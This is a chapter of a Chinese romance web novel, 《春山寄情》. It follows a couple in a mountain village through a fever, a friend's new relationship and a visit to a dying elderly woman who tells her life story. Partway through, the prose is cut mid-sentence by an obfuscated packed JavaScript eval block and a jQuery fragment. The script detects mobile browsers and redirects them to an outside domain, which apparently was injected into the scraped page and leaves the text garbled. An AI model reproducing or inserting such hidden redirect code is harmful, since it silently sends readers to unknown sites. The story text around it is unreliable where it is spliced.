37. 人生
作品:《春山寄情》 屋内,沈书宜将温度计递给裴彦知,他乖乖接过夹在腋下,后知后觉觉得脸颊处的热度非常明显,头隐隐作疼。
他仰着脑袋去看沈书宜,她秀气的眉头轻皱着,伸手贴在他额头,裴彦知笑了笑,顺着拉过她的手放在自己脸颊上。
“肯定是白天受凉了。”
裴彦知轻轻蹭了下她的掌心,“一会儿吃个药睡一觉就好了。”他身体素质一向很好,每年体检报告都很健康,平时就连感冒都很少得过。
山里下了雨,寒气又大,也是没抗住。
沈书宜掌心几乎要被他脸颊烫到,她刚要说些什么,便被他拦腰抱住了。
他脑袋靠在她肚子上,发出一声轻叹,“抱一会儿。”声音带着浓浓的眷恋。
沈书宜心里一软,她伸手去摸他的头发,又黑又硬,“体温计拿出来我看看。”
裴彦知没动,“你帮我拿。”
进门口他就脱去了外套,身上只一件简单的黑T,领口随着动作往下滑了滑,露出大片冷白的肌肤和好看的锁骨,沈书宜轻咳了一声,声音很轻:“我......怎么拿?”
闻言,裴彦知抬头看她,微微拉来点距离,但环着她腰部的手却没松。
他没说话,用眼神示意她。
沈书宜无奈,怎么觉得这男人生病了后有些意外的孩子气。
她手滑进他衣领,不可避免地碰到他胸前的肌肤,才发掘他身上也很烫,摸到体温计,她顺势取了出来。
38.6℃,高烧。
“你等一下,我去给你拿药。”这些感冒药她都备得很齐全,很快,她拿了一盒布洛芬和感冒颗粒,又到了一杯水递给裴彦知。
裴彦知接过,就着水把药喝了。喝完他抬起脑袋看沈书宜,好看的眼里蒙了层薄薄的水雾,看得沈书宜心里酥酥麻麻的。
“怎么啦?”她将杯子放在桌子,微微弯腰问他。
“药不好喝。”裴彦知声音偏哑,尾音勾着,落在沈书宜耳里倒有些撒娇的意味。
沈书宜乐了,从口袋里掏出一颗大白兔奶糖,剥开糖纸,“诺。”
她伸到裴彦知嘴边,“撒娇的小朋友吃颗糖。”
裴彦知低头,将她掌心的糖含住,唇轻擦过她掌上的肌肤,带来一阵颤栗。
沈书宜将手抽回,却被男人伸手拉住了,他薄唇轻张,声音充满磁性:“乖的话有没有奖励?”
沈书宜总觉得生病后的裴彦知真的不一样,粘人,撒娇,还讨奖励。她愣愣看了他两眼,而后弯弯唇:“裴彦知。”
“你在撒娇呀。”
这句是肯定句,沈书宜逗他。
男人唇微抿,面颊处的潮红显眼,在沈书宜含笑的目光下乖乖点了点头。
要是孟思元跟蒋贤他们知道裴彦知还有这一面,一定会当场石化。
沈书宜摸摸他的脸,顺着摸到他锐利的眉骨,而后轻轻掀开刘海,弯腰在他光洁的额头上落下一吻。
“快点好起来。”
沈书宜走了,裴彦知躺在床上,脑袋阵阵发疼,只觉得头顶的天花板都在转,晕乎乎的,没一会儿就睡了过去。
陈竹进来时看见床上的人还有些疑惑,裴彦知工作很多,虽然山里信号不算好,但只要能电话解决的,他都不会拉下。还会抱着文件去村委会处理,那边信号会好一些,所以很多时候等他回来时,陈竹早就已经睡着了。
他脚步放轻,小心翼翼将门关上,看见桌上的药盒后就明白了,原来是感冒了。
陈竹觉得这事还有些新奇,钢铁强人一样的裴总,竟然感冒了。
他蹑手蹑脚走到床前,拿过睡衣就转身去了浴室。
——
第二天一早,沈书宜就起床了,顾薇还躺在被窝里,见她出去还问了句:“起这么早啊?”
沈书宜正在穿鞋子,闻言回头看了她一眼,床上的人一脸困倦,眯着眼睛看她,沈书宜笑了笑:“你继续睡,我出去看看。”
“行。”顾薇拉过被子将脸盖住了。
沈书宜出了门,就看见裴彦知从屋内出来,她小跑过去,站在他面前,垫脚去探他的额头,“你好点了吗?”
话音刚落,裴彦知弯腰将人抱住了。他声音还夹着浓浓的困倦,脑袋埋进她肩窝处,嗅着她好闻的发香,才觉头疼缓了很多。
“好多了。”
沈书宜伸手圈住他的腰,将身体往他怀里贴,“刚摸了下好像是不烧了。”
“嗯,药很有效果。”裴彦知烧降下去了,但脑袋还觉得有些疼,不过这会儿温香软玉在怀,注意力都在她身上,倒缓解了很多。
两人安静抱了会儿,沈书宜说:“我们去做饭吧,他们还没起床。”
“好。”裴彦知牵着她的手下了楼。
等顾薇他们起床后,就看见餐桌上摆好了餐具。
孟思元靠在蒋贤肩膀上,伸手撩了下头发,“嚯,今天情侣档早餐店。”
蒋贤竖了一个大拇指,“请问吃了情侣早餐,我可以脱单吗?”
裴彦知将最后一盘土豆端出来,笑着拉开凳子,说:“别贫了,下来吃饭。”
“竹子,就我们俩单身狗。”
陈竹看了他一眼,越过他从楼梯上下来,表情依旧淡淡的,“我不是。”
“?”
顾薇顿时张大了眼睛,“我靠竹子,你什么时候谈上的?”
蒋贤拍开孟思元的手,觉得自己好像出现了幻听,“兄弟,什么时候的事啊?”
陈竹已经走到餐桌前,拉开凳子坐下,老神在在的,对众人惊讶的反应表示的很淡定,“前几天。”
来到山上后,一直都很忙,又没有信号,把人姑娘都气哭了。
陈竹脑海里一直回荡她在电话那头带着哭腔的声音。
她说陈竹,再问最后一次,要不要在一起。
他站在山头,迎着风,电话挂断前,他重重嗯了声。
蒋贤一个箭步冲下来,坐在他旁边,“老实交代,是什么样的女孩?”
陈竹这人性子冷,对什么都是一副淡淡的模样,要不是蒋贤跟三组组长关系好,也不会注意到他,不过也确实没有料到他会主动请缨要加入他们。
陈竹难得的顿了一下,很认真地在想他的问题,安静等待几秒后,他眼里也含了些笑意:“很可爱。”
“原来你喜欢萌妹子啊。”蒋贤说。
“不是。”陈竹摇头,“她最可爱。”
顾薇跟沈书宜对视一眼,会心一笑。
原来再冷漠的人,遇见喜欢的女孩也会变得柔软。
眼神变化实在太过明显。
几人跟上次一样,话题落在了陈竹身上,不过今天陈竹饶有兴致,每一个问题都回答了。
看得出来,是真的很喜欢了。
饭后,沈书宜拿上相机带着裴彦知出了门,顾薇他们还是继续之前的走访工作。
刚走出门,边树边林俩小子迎面跑了过来。这几天一直在学校里,放学了就回家,倒是有段时间没见到他俩了。
沈书宜朝他们伸手,俩兄弟一人握住一只手,边林靠近裴彦知,也偷偷去拉他的手。
“小树小林今天怎么过来了呀?”
“学校放两天假。”边树跟上他们的步伐,边走边回答。
“哦哦。”沈书宜点点头,才记得今天是星期六。
“姐姐。”边树从兜里掏出一张纸,递给沈书宜,“这是小林送给你们的礼物。”
沈书宜接过,笑着道:“我们小林还送姐姐礼物了呀。”
边林害羞地将头低下。
沈书宜将纸展开,是一副画,上面画着四个小人,“小林,你画的是我们吗?”
边林点了点头,裴彦知伸手将他抱了起来,探头看了眼画,上面两个小人体型大一些,另外两个站在旁边牵着他们的手。
最下面歪歪扭扭地写了几个字,“哥哥”、“姐姐”、“小树和小林”。
“这么厉害呢,小林画得真好看。”
沈书宜伸手捏了捏边林的小脸,“我们小林超棒的!”
边林脸红的厉害,他低下头搂着裴彦知的脖子,将脑袋埋在他肩膀上。
引得他们都笑了起来。
几人往前走着,此时太阳刚从天边升起,晨曦洒落,他们正向着光。
身后陈竹举起相机将这一幕拍了下来。
十分钟后,沈书宜敲开了一间陈年木屋。
老人拉开门看见是他们,脸上瞬间浮起一抹笑,“来来来,快进来。”
如果不是记得今天要来干什么,沈书宜真的要觉得他们就是来做客的。
几人进了堂屋,屋内比较潮湿,空气里散发着些许刺鼻的味道,但桌上摆了一束花,还堆放着很多礼品。
有菜有牛奶,还有鸡蛋。
老人注意到他们的目光,“这些都是村里乡亲们的好意,大牛摔了,县城太远,就提着东西来看我了。”
这些都是朴实的劳动人民的果实,即使是小颗小小的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479195|184503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
土豆,对他们来说也弥足珍贵。
老人从桌上拿了两个苹果,递给边树边林,他们没拒绝,笑着接过,弯腰道谢:“谢谢陈奶奶。”
说完就一溜烟跑出去洗苹果去了。
沈书宜上前拉着婆婆的手,“大俊哥在医院里养养伤,很快就会回来看你啦。”
老人拍拍她的手,“好好,麻烦你们了沈丫头,我要不在了,你们帮我多看着点大俊,他小时候发烧烧坏了脑子,别看他这么大,智力就像个小孩子一样。”
“说话也有点结巴。”
说着,老人坐在凳子上,长叹一口气,“唉,这也都怪我们。”
两人皆是一怔。
裴彦知细想着,原来那天男人的眼神会如此无助,像个孩子一样。
沈书宜听着,心里泛着酸,她轻轻拍着老人的后背,一时不知道说些什么。
屋内寂静无声,蹉跎岁月在老人口中缓缓流逝。
“沈丫头,我啊,这辈子也活得够久了。”
“小时候被父亲带到了这里,卖给了牛家人当童养媳。”
“长大后,我跟孩子他爹成了家,后面有了第一个孩子,五岁那年出了意外,从山上掉了下去。”说到这里,老人声音逐渐开始哽咽,“大牛他爹气的没照看好孩子,整整三年没回家。”
她抹了把眼泪,“后来,有一天,他突然回来了,说以后跟我好好过日子。”
“就这样我们又生了大牛,可谁知道八岁那年生了场病,孩子就这样被烧糊涂了。”
“那年的暴雨下了好些天,很多茅草房都被雨冲塌了,大牛他爹跟着人去排水,不幸掉了下去,被水冲走了。”
她顿了顿,目光直直投向墙壁上,上面挂着一张很模糊的画像,照片几乎快要烂掉,被人一点点拼好,用胶带缠在一起,订在了墙壁上。
即使早已看不清人脸,但至少给人留了个念想。
“嫁给他那年,山里突然来了一个拍照的人,这张照片就是他给我们拍的。”
沈书宜眼眶早已湿润,强忍着没落下眼泪,鼻尖酸的厉害。
裴彦知注意到他的情绪,拍了拍她的肩膀,他心里触动也是极大的。
从小就生活在优越的环境中,不愁吃穿,甚至对婆婆讲得茅草屋都觉得陌生,他抬头看了眼老人,只能看见她侧脸松动的皮,和饱含泪水的眼。
老人的背脊早已被压弯,脸上的沟壑是岁月的证明,瘦小的身体撑起了一个家。
“婆婆,你要长命百岁。”沈书宜语气哽咽,但尽量笑得温和。
老人缓缓低下头,释然一笑:“我没多久时间了。”
“你别紧张沈丫头,你听我说,我啊,来这世上一趟,从十岁那年被父亲带上山,就再也没出去过。”
“深山困住了很多人,也困住了我。但我早已将这里当作家,你说我离开家还能去哪?”
浑浊的眼在此刻变得澄亮,“我知道,这山里啊,会越来越好。”她拉过他们的手,将他们的手叠在一起,“你们啊,也会越来越好。”
沈书宜眼泪狠狠从眶内砸下来,“婆婆,您是生病了吗?”
老人伸手擦去了她眼角的泪,“诶哟别哭呀沈丫头,女人的眼泪很珍贵的,不能轻易掉下来。”说着她笑笑,“我啊,看不好咯。”
裴彦知大掌拢住老人干枯的手,“婆婆,我们带您去看病好不好?”
“是啊婆婆,现在医院条件特别好,技术也很好,我们去看看,早点恢复健康。”
沈书宜顺着裴彦知的话说下去。
老人低低笑了起来,而后喂叹一声,“孩子,你们有心了。”
“我这毛病啊我心里有数,治不好了。”
沈书宜还想说什么,老人开口堵住了,“我老了孩子,人老了,就枯了,根死了,树就倒了。”
“我唯独放不下大牛,我走了之后,你们将我的照片给他,他看见是我就不会吵闹了。”
老人站起身,走到照片前,温和道:“沈丫头,一会儿记得给我照的漂漂亮亮的。”
沈书宜偏过头,身子忍不住颤抖起来,裴彦知将她拢进怀里,让她脑袋靠在自己肩上。
一下一下拍着她的后背。
心里也说不出的难受。
沈书宜点点头,将头抬起来,擦了把眼泪,起身取过胸前的相机,将它递给了裴彦知。
她缓缓站起身,眨眨涩疼的眼,扬起唇,尽量笑得温和。
“婆婆,我为你梳梳头吧。”